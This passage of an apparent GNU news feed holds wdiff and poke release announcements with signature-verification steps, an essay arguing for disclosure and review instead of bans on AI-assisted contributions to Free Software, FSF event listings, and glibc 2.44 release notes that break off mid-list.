  SHA3-256 sum: 4db1f41eda5e1525f3ced491af1fc1ad094cc21c209e789d12a1ea8f611be24e&lt;br /&gt;
&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or&lt;br /&gt;
&#39;shasum -a 256&#39;.&lt;br /&gt;
&lt;br /&gt;
Verify the SHA3-256 checksum with &#39;cksum -a sha3 -l 256 --base64&#39;&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify wdiff-1.2.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   ed25519 2019-03-20 [SC]&lt;br /&gt;
        B1D2 BD13 75BE CB78 4CF4  F8C4 D73C F638 C53C 06BE&lt;br /&gt;
  uid   Simon Josefsson &amp;lt;simon@josefsson.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the &#39;gpg --verify&#39; command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key simon@josefsson.org&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 51722B08FE4745A2&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- &#39;https://savannah.gnu.org/project/release-gpgkeys.php?group=wdiff&amp;amp;download=1&#39; | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify wdiff-1.2.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the wdiff git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/wdiff.git&lt;br /&gt;
&lt;br /&gt;
with commit 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f tagged as v1.2.3.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=wdiff.git;a=shortlog;h=v1.2.3&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned wdiff directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v1.2.2..v1.2.3&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Gnulib 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f&lt;br /&gt;
  Autoconf 2.72&lt;br /&gt;
  Automake 1.17&lt;br /&gt;
  Make 4.4.1&lt;br /&gt;
  Makeinfo 7.3&lt;br /&gt;
  Help2man 1.49.2&lt;br /&gt;
  Tar 1.35&lt;br /&gt;
  Gzip 1.13&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 1.2.3 (2026-06-30) [stable]&lt;br /&gt;
&lt;br /&gt;
** Modernize build environment.&lt;br /&gt;
Several minor fixes including build fixes for modern C23 compilers.&lt;br /&gt;
Many generated or obsolete files have been removed from git.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Simon Josefsson</name>
	   <uri>https://savannah.gnu.org/projects/wdiff</uri> 
	</author>
	<source>
	  <title type="html">wdiff - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dwdiff"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=wdiff</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU poke 4.90 pre-release is available</title>
	<link href="https://savannah.gnu.org/news/?id=10921"/>
	<id>https://savannah.gnu.org/news/?id=10921</id>
	<updated>2026-08-10T22:33:41+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNU poke (&lt;a href=&quot;http://www.jemarch.net/poke&quot;&gt;http://www.j ... rch.net/poke&lt;/a&gt;) is an interactive, extensible
&lt;br /&gt;
editor for binary data.  Not limited to editing basic entities such
&lt;br /&gt;
as bits and bytes, it provides a full-fledged procedural,
&lt;br /&gt;
interactive programming language designed to describe data
&lt;br /&gt;
structures and to operate on them.
&lt;br /&gt;

&lt;br /&gt;
GNU poke 4.90 pre-release is now available at
&lt;br /&gt;
&lt;a href=&quot;https://alpha.gnu.org/gnu/poke/poke-4.90.tar.gz&quot;&gt;https://alpha.gnu ... /poke-4.90.tar.gz&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The tarball is signed and you can get the PGP signature at
&lt;br /&gt;
&lt;a href=&quot;https://alpha.gnu.org/gnu/poke/poke-4.90.tar.gz.sig&quot;&gt;https://alpha.gnu ... e-4.90.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The planned date for releasing 5.0 is Sunday 15 August 2026, but
&lt;br /&gt;
this may change depending on the amount of problems found in this
&lt;br /&gt;
pre-release, and the subsequent needed additional pre-releases.
&lt;br /&gt;

&lt;br /&gt;
Please report any problem found with the pre-release, comments or
&lt;br /&gt;
patches to poke-devel@gnu.org.
&lt;br /&gt;

&lt;br /&gt;
In behalf of the poke developers, thank you!
&lt;br /&gt;

&lt;br /&gt;
Happy testing!
&lt;br /&gt;
Mohammad-Reza Nabipoor&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Mohammad-Reza Nabipoor</name>
	   <uri>https://savannah.gnu.org/projects/poke</uri> 
	</author>
	<source>
	  <title type="html">poke - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dpoke"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=poke</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">FSF publishes incident report on GNU Savannah vulnerabilities</title>
	<link href="http://www.fsf.org/news/fsf-publishes-incident-report-on-gnu-savannah-vulnerabilities"/>
	<id>http://www.fsf.org/news/fsf-publishes-incident-report-on-gnu-savannah-vulnerabilities</id>
	<updated>2026-08-07T21:57:31+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF News</name>
	   <uri>http://www.fsf.org/news/aggregator</uri> 
	</author>
	<source>
	  <title type="html">FSF News</title>
	  
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/news.xml"/>
	  <id>http://www.fsf.org/news/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Open Source Is Hobbling Itself Over Generative AI</title>
	<link href="https://heronsperch.blogspot.com/2026/08/open-source-is-hobbling-itself-over.html"/>
	<id>tag:blogger.com,1999:blog-13189460.post-2013715744677408934</id>
	<updated>2026-08-04T10:52:51+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;&lt;em&gt;The answer to bad AI-assisted contributions is not a purity test. It is better engineering discipline.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Earlier this year, a discussion in the GNUstep community raised a proposal that will sound familiar across the Free Software world: prohibit AI-generated code in core projects and proudly advertise the result as “coded by humans” or “AI-free.” The argument was not frivolous. Generative AI raises real questions about copyright, attribution, security, energy use, labor, trust, and the flood of low-quality patches that maintainers are increasingly being asked to review.&lt;/p&gt;&lt;p&gt;But a blanket refusal to use generative AI is the wrong response. It does not solve the hardest problems. It creates rules that are nearly impossible to define or enforce, confuses the method of production with the quality of the product, and risks turning Free Software into a movement that protects yesterday’s workflow instead of protecting software freedom.&lt;/p&gt;&lt;p&gt;Open Source and Free Software are already operating with too few maintainers, too much technical debt, and too many important projects resting on the unpaid labor of a handful of people. We should be very careful about categorically rejecting tools that might help contributors understand old code, write tests, improve documentation, port software, find defects, or perform mechanical modernization. We should be even more careful when our proposed alternative offers the appearance of trust without the substance of it.&lt;/p&gt;&lt;p&gt;The better principle is straightforward:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Regulate the code, not the development process.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;“AI-generated” is not a workable boundary&lt;/h2&gt;&lt;p&gt;What exactly counts as AI-generated code?&lt;/p&gt;&lt;p&gt;Is it a complete function produced from a prompt? A line accepted from an AI-powered autocomplete system? A compiler-suggested correction? An automated refactoring? A test generated from an existing implementation? A translation of documentation? A patch written by a human after asking a model to explain an unfamiliar API? What if the developer uses AI to identify the problem but writes every line manually? What if an IDE quietly includes machine-learning features the contributor never explicitly invoked?&lt;/p&gt;&lt;p&gt;The line between “human-written” and “AI-assisted” is already blurred, and it will become less distinct as generative features are embedded in editors, compilers, debuggers, search engines, and operating systems. A ban that cannot draw a stable boundary will be applied inconsistently. Honest contributors will disclose and be penalized; dishonest contributors will simply omit the disclosure. Others may be falsely accused because their code “looks generated.”&lt;/p&gt;&lt;p&gt;An “AI-free” badge therefore risks promising something a project cannot reliably prove. Free Software should be especially suspicious of unverifiable labels.&lt;/p&gt;&lt;h2&gt;The risks are real—and they argue for review&lt;/h2&gt;&lt;p&gt;None of this means generated code should be trusted.&lt;/p&gt;&lt;p&gt;Research has found substantial security weaknesses in AI-produced code. One empirical study of Copilot snippets found security problems in roughly 30 percent of Python snippets and 24 percent of JavaScript snippets in its later dataset. Other research has demonstrated that code models can memorize portions of their training data, while studies of license compliance have found that models often provide inaccurate licensing information, particularly for copyleft code. Those are serious concerns, not anti-AI superstition. (&lt;a href=&quot;https://arxiv.org/html/2310.02059v4&quot;&gt;Security weaknesses study&lt;/a&gt;; &lt;a href=&quot;https://arxiv.org/html/2308.09932v2&quot;&gt;memorization study&lt;/a&gt;; &lt;a href=&quot;https://arxiv.org/html/2408.02487v3&quot;&gt;license-compliance study&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;The productivity story is also more complicated than the advertising. GitHub reported that developers completed a controlled programming task considerably faster with Copilot, but a later randomized study of experienced Open Source developers working in their own repositories found that the tools available in early 2025 made them 19 percent slower. METR’s 2026 follow-up found suggestive but still statistically uncertain evidence of improvement with newer tools. AI is neither magic nor uniformly useless; its value depends on the person, task, model, and workflow. (&lt;a href=&quot;https://github.blog/news-insights/research/research-quantifying-github-copilots-impact-on-developer-productivity-and-happiness/&quot;&gt;GitHub productivity study&lt;/a&gt;; &lt;a href=&quot;https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/&quot;&gt;METR 2025 study&lt;/a&gt;; &lt;a href=&quot;https://metr.org/blog/2026-02-24-uplift-update/&quot;&gt;METR 2026 update&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;But human authorship has never guaranteed secure, original, maintainable, or correctly licensed code. That is why healthy projects require tests, review, contributor certification, licensing rules, and maintainers who can reject bad work. The origin of a patch may affect how carefully we inspect it, but it cannot replace inspection.&lt;/p&gt;&lt;p&gt;If a contributor submits code they do not understand, the contribution should be rejected. If the patch fails tests, violates project style, invents APIs, introduces vulnerabilities, obscures provenance, or imposes an unreasonable review burden, it should be rejected. That is true whether the patch was produced by Claude, Copilot, a Stack Overflow answer, a contractor, a junior programmer, or a senior maintainer having a bad afternoon.&lt;/p&gt;&lt;p&gt;The repository contains code, not virtue.&lt;/p&gt;&lt;h2&gt;Review capacity is the scarce resource&lt;/h2&gt;&lt;p&gt;Maintainers have a legitimate complaint: AI can make producing a patch far cheaper than reviewing one. A person can generate thousands of lines in minutes and then expect a volunteer to spend hours establishing whether any of it is correct. That asymmetry can become a denial-of-service attack on a project even when the submitter means well.&lt;/p&gt;&lt;p&gt;The answer, however, is not necessarily to ban a tool. It is to place the cost and responsibility back on the contributor.&lt;/p&gt;&lt;p&gt;A project can require that contributors:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;disclose material use of generative AI;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;identify the tool and describe how it was used;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;certify that they reviewed and understand every submitted change;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;explain the design and answer maintainer questions without outsourcing the conversation to a model;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;provide focused tests and evidence that the patch solves a real problem;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;comply with the project’s licensing and provenance requirements;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;keep changes small enough to review; and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;accept that unexplained, low-signal, or mass-generated submissions may be closed without detailed triage.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Disclosure is imperfect, but it establishes a community norm and makes an honest contributor accountable. Research into self-declaration practices has already found developers using everything from a simple disclosure to records of prompts, explanations, and quality checks. Projects can choose a level proportionate to their risk. (&lt;a href=&quot;https://arxiv.org/html/2504.16485v1&quot;&gt;Study of AI-code self-declaration&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;This approach is stricter than either blind enthusiasm or symbolic prohibition. It does not say, “AI wrote it, so it must be acceptable.” It says, “You submitted it, so you are responsible for it.”&lt;/p&gt;&lt;h2&gt;Freedom is not a reenactment of an older toolchain&lt;/h2&gt;&lt;p&gt;Free Software is founded on the user’s freedom to run, study, modify, and share software. Those principles describe control over technology; they do not require that every developer use the same approved method to create it. The Open Source Initiative’s work on an Open Source AI Definition likewise frames the issue around the practical freedoms to use, study, modify, and share systems—not around preserving a pre-AI development ritual. (&lt;a href=&quot;https://opensource.org/ai/open-source-ai-definition&quot;&gt;Open Source AI Definition 1.0&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;There are valid reasons for preferring Free or locally operated AI tools over proprietary cloud services. A project may reasonably prohibit contributors from uploading confidential material or unreleased security fixes to third-party systems. It may impose stricter provenance requirements in sensitive components. Individual maintainers may decline to review bulk-generated reports that have repeatedly produced noise. These are concrete policies tied to concrete harms.&lt;/p&gt;&lt;p&gt;What does not follow is that a project becomes more free merely because no contributor used a generative tool.&lt;/p&gt;&lt;p&gt;An “AI-free” identity may even distract from the qualities that users actually need: portability, stability, compatibility, security, good documentation, responsive maintenance, and code whose behavior can be understood and changed. A badge is not a substitute for those things.&lt;/p&gt;&lt;h2&gt;Blanket refusal has an opportunity cost&lt;/h2&gt;&lt;p&gt;Mature Free Software projects often contain decades of code and institutional knowledge. They need documentation, regression tests, API audits, build-system repairs, platform ports, translations, issue triage, and repetitive modernization. Generative AI will not perform those jobs reliably on its own. It can still help a knowledgeable contributor perform some of them.&lt;/p&gt;&lt;p&gt;Rejecting that possibility at the policy level has consequences. It may discourage younger contributors whose development environment already includes these tools. It may disadvantage people working in a second language or developers with disabilities who use AI as an accessibility aid. It may prevent experiments that would have failed harmlessly—or succeeded usefully—under ordinary review. Most dangerously, it can encourage a culture in which the declaration “human-written” is treated as evidence of quality.&lt;/p&gt;&lt;p&gt;Free Software has survived previous waves of automation. High-level languages, garbage collection, IDEs, graphical interface builders, code generators, automated formatters, static analyzers, and online code search all changed what it meant to “write” software. Each tool altered the division of labor between programmer and machine. The relevant question was never whether every token originated in a human mind. The question was whether people retained the freedom, knowledge, and responsibility needed to control the resulting system.&lt;/p&gt;&lt;p&gt;That remains the right question now.&lt;/p&gt;&lt;h2&gt;A policy that protects projects without freezing them&lt;/h2&gt;&lt;p&gt;A sensible policy can fit on one page:&lt;/p&gt;&lt;ol start=&quot;1&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disclosure:&lt;/strong&gt; Contributors must disclose material AI assistance in the commit message or pull request.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Responsibility:&lt;/strong&gt; The named human contributor is the author of record and must understand, explain, test, and stand behind the entire submission.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Quality:&lt;/strong&gt; AI-assisted contributions receive the same requirements for correctness, security, maintainability, style, documentation, and test coverage as any other contribution.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Provenance:&lt;/strong&gt; Contributors must have a reasonable basis to believe the submission is license-compatible and must identify known sources or generated passages that may reproduce existing code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data protection:&lt;/strong&gt; Project secrets, embargoed vulnerabilities, private communications, and other restricted material may not be submitted to unauthorized external services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reviewability:&lt;/strong&gt; Maintainers may reject oversized, unexplained, repetitive, or low-signal submissions without performing free forensic work for the submitter.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Local discretion:&lt;/strong&gt; Components with unusual legal, safety, privacy, or reliability risks may adopt additional written restrictions.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This policy does not resolve every ethical question surrounding generative AI. No contribution policy can. It does, however, address the matters a software project can actually evaluate and enforce.&lt;/p&gt;&lt;h2&gt;We should not surrender the future of software freedom&lt;/h2&gt;&lt;p&gt;The Free Software community should remain one of the sharpest critics of concentrated corporate power, opaque models, exploitative data practices, environmental cost, and systems that deprive users of control. Criticism is part of our job. So is building an alternative.&lt;/p&gt;&lt;p&gt;If we define ourselves by refusing to touch an important new class of technology, proprietary vendors will shape that technology without us. If instead we insist on transparency, modifiability, privacy, local control, licensing clarity, and human accountability, we can bring the values of Free Software into the AI era.&lt;/p&gt;&lt;p&gt;We do not need to pretend that generative AI is trustworthy. We need processes that do not require us to trust it.&lt;/p&gt;&lt;p&gt;Judge the patch. Demand disclosure. Require understanding. Enforce licensing. Protect reviewers. Reject garbage.&lt;/p&gt;&lt;p&gt;But do not hobble Open Source and Free Software with a blanket ban that is difficult to define, impossible to verify, and disconnected from the quality of the code we ultimately ship.&lt;/p&gt;</content>
	<author>
	  <name>Unknown</name>
	   <email>noreply@blogger.com</email> 
	</author>
	<source>
	  <title type="html">Heron&#39;s Perch</title>
	  <subtitle type="html">Mostly Apple, GNUstep and stuff about me personally.  I&#39;m the Chief Maintainer for the GNUstep project.</subtitle>
	  <link rel="self" href="https://www.blogger.com/feeds/13189460/posts/default"/>
	  <id>tag:blogger.com,1999:blog-13189460</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Learn email self-defense: Hands-on GPG with GNU/Linux with Greg Farough and Heshan de Silva-Weeramuni</title>
	<link href="http://www.fsf.org/events/afk/2026-08-14-new-york-city-new-york-united-states-farough-de-silva-weeramuni"/>
	<id>http://www.fsf.org/events/afk/2026-08-14-new-york-city-new-york-united-states-farough-de-silva-weeramuni</id>
	<updated>2026-07-28T19:30:01+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">August 14, 2026 at 17:30 EDT.</content>
	<author>
	  <name>FSF Events</name>
	   <uri>http://www.fsf.org/events/aggregator</uri> 
	</author>
	<source>
	  <title type="html">Events</title>
	  <subtitle type="html">Site Events</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/events.xml"/>
	  <id>http://www.fsf.org/events/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Evaluating a program’s free software licensing with Craig Topham</title>
	<link href="http://www.fsf.org/events/afk/2026-08-15-new-york-city-new-york-united-states-topham"/>
	<id>http://www.fsf.org/events/afk/2026-08-15-new-york-city-new-york-united-states-topham</id>
	<updated>2026-07-28T19:20:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">August 15, 2026 at 20:15 EDT.</content>
	<author>
	  <name>FSF Events</name>
	   <uri>http://www.fsf.org/events/aggregator</uri> 
	</author>
	<source>
	  <title type="html">Events</title>
	  <subtitle type="html">Site Events</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/events.xml"/>
	  <id>http://www.fsf.org/events/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Too many eyeballs? Free software security in the LLM era with Sean O&#39;Brien</title>
	<link href="http://www.fsf.org/events/afk/2026-08-06-vancouver-british-colombia-canada-obrien"/>
	<id>http://www.fsf.org/events/afk/2026-08-06-vancouver-british-colombia-canada-obrien</id>
	<updated>2026-07-28T19:15:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">August 8, 2026 at 16:30 EDT.</content>
	<author>
	  <name>FSF Events</name>
	   <uri>http://www.fsf.org/events/aggregator</uri> 
	</author>
	<source>
	  <title type="html">Events</title>
	  <subtitle type="html">Site Events</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/events.xml"/>
	  <id>http://www.fsf.org/events/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Can we route around the app stores? With Sean O&#39;Brien</title>
	<link href="http://www.fsf.org/events/afk/2026-08-16-new-york-city-new-york-united-states-birukou-obrien"/>
	<id>http://www.fsf.org/events/afk/2026-08-16-new-york-city-new-york-united-states-birukou-obrien</id>
	<updated>2026-07-28T19:05:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">August 16, 2026 at 16:00 EDT.</content>
	<author>
	  <name>FSF Events</name>
	   <uri>http://www.fsf.org/events/aggregator</uri> 
	</author>
	<source>
	  <title type="html">Events</title>
	  <subtitle type="html">Site Events</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/events.xml"/>
	  <id>http://www.fsf.org/events/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">The GNU C Library version 2.44 is now available</title>
	<link href="https://savannah.gnu.org/news/?id=10919"/>
	<id>https://savannah.gnu.org/news/?id=10919</id>
	<updated>2026-07-27T14:36:46+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;The GNU C Library
&lt;br /&gt;
=================
&lt;br /&gt;

&lt;br /&gt;
The GNU C Library version 2.44 is now available.
&lt;br /&gt;

&lt;br /&gt;
The GNU C Library is used as &lt;b&gt;the&lt;/b&gt; C library in the GNU system and
&lt;br /&gt;
in GNU/Linux systems, as well as many other systems that use Linux
&lt;br /&gt;
as the kernel.
&lt;br /&gt;

&lt;br /&gt;
The GNU C Library is primarily designed to be a portable 
&lt;br /&gt;
and high performance C library.  It follows all relevant 
&lt;br /&gt;
standards including ISO C23 and POSIX.1-2024.  It is also 
&lt;br /&gt;
internationalized and has one of the most complete 
&lt;br /&gt;
internationalization interfaces known. 
&lt;br /&gt;

&lt;br /&gt;
The GNU C Library website is at &lt;a href=&quot;http://www.gnu.org/software/libc/&quot;&gt;http://www.gnu. ... /software/libc/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Packages for the 2.44 release may be downloaded from:
&lt;br /&gt;
        &lt;a href=&quot;http://ftpmirror.gnu.org/libc/&quot;&gt;http://ftpmirr ... .gnu.org/libc/&lt;/a&gt;
&lt;br /&gt;
        &lt;a href=&quot;http://ftp.gnu.org/gnu/libc/&quot;&gt;http://ftp.gn ... org/gnu/libc/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The mirror list is at &lt;a href=&quot;http://www.gnu.org/order/ftp.html&quot;&gt;http://www.gnu. ... /order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Distributions are encouraged to track the release/* branches
&lt;br /&gt;
corresponding to the releases they are using.  The release
&lt;br /&gt;
branches will be updated with conservative bug fixes and new
&lt;br /&gt;
features while retaining backwards compatibility.
&lt;br /&gt;

&lt;br /&gt;
NEWS for version 2.44
&lt;br /&gt;
=====================
&lt;br /&gt;

&lt;br /&gt;
Major new features:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;System-wide tunables can be applied using /etc/tunables.conf and
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  running ldconfig.  Specific tunable settings and the
&lt;br /&gt;
  /etc/tunables.conf file format and path are not part of the stable
&lt;br /&gt;
  library interfaces and may change between releases.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A new tunable, glibc.elf.thp, is added to map read-only segments with
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  Transparent Huge Pages (THP) if THP is not disabled in the kernel.  When
&lt;br /&gt;
  glibc.elf.thp is set to 1, malloc uses the actual kernel THP mode
&lt;br /&gt;
  instead of defaulting to madvise mode and madvise_thp will stop issuing
&lt;br /&gt;
  MADV_HUGEPAGE if kernel THP mode is always.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The THP page size in malloc is capped to MAX_THP_PAGESIZE.  If the THP
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  page size is above MAX_THP_PAGESIZE, THP in malloc is disabled.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Additional optimized and correctly rounded mathematical functions have
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  been imported from the CORE-MATH project, in particular cosh, sinh, and
&lt;br /&gt;
  tanh.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Many additional improvements to existing functions have been synchronized
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  from the CORE-MATH project.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For C++26, the assert macro is now variadic, allowing more complex
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  arguments containing commas (which however still must evaluate to a single
&lt;br /&gt;
  value).
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The SVID error handling for cosh and sinh was moved to compatibility
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  symbols, allowing improvements in performance.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static PIE is now supported for arm-*-linux-gnueabi.  It requires toolchain
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  support to correctly set the expected linker options.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On AArch64 targets that support the Guarded Control Stack extension all GCS
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  operations (including status, write on shadow stack, and push to shadow
&lt;br /&gt;
  stack) are locked after enabling GCS with ENFORCED or OVERRIDE GCS policy.
&lt;br /&gt;
  When a GCS operation is locked, a program cannot change this operation
&lt;br /&gt;
  status via the prctl syscall.  This prevents disabling or corrupting the
&lt;br /&gt;
  GCS shadow stack during runtime.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On AArch64 targets, log, exp, sin, cas, sinh, cosh, asinh, acosh, atanh
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  single and double precision special cases have been vectorized for SVE and
&lt;br /&gt;
  AdvSIMD, and vector variants of powr have been added.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On RISC-V targets, vector extension optimized variants of memcmp, memccpy,
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  memchr, memcpy, memmove, stpncpy, strcmp, strchr, strcpy, strncmp, strncpy,
&lt;br /&gt;
  strlen, and strrchr have been added.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On PowerPC, memchr optimized for Power10 has been re-added.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Support for LoongArch32 has been added.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pre-built ld.so.cache files can be installed with ldconfig.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A new locale has been added: hrx_BR (Hunsrik language spoken in Brazil).
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Deprecated and removed features, and other changes affecting compatibility:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Although malloc and related functions currently return pointers
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  aligned to alignof (max_align_t), the documentation now says future
&lt;br /&gt;
  versions of glibc may relax alignment requirements for small allocations.
&lt;br /&gt;
  For example, a future malloc(1) might return a pointer with odd
&lt;br /&gt;
  alignment, because no object of size 1 can have a fundamental
&lt;br /&gt;
  alignment greater than 1.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The s390-linux-gnu (31bit) configuration is no longer supported.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
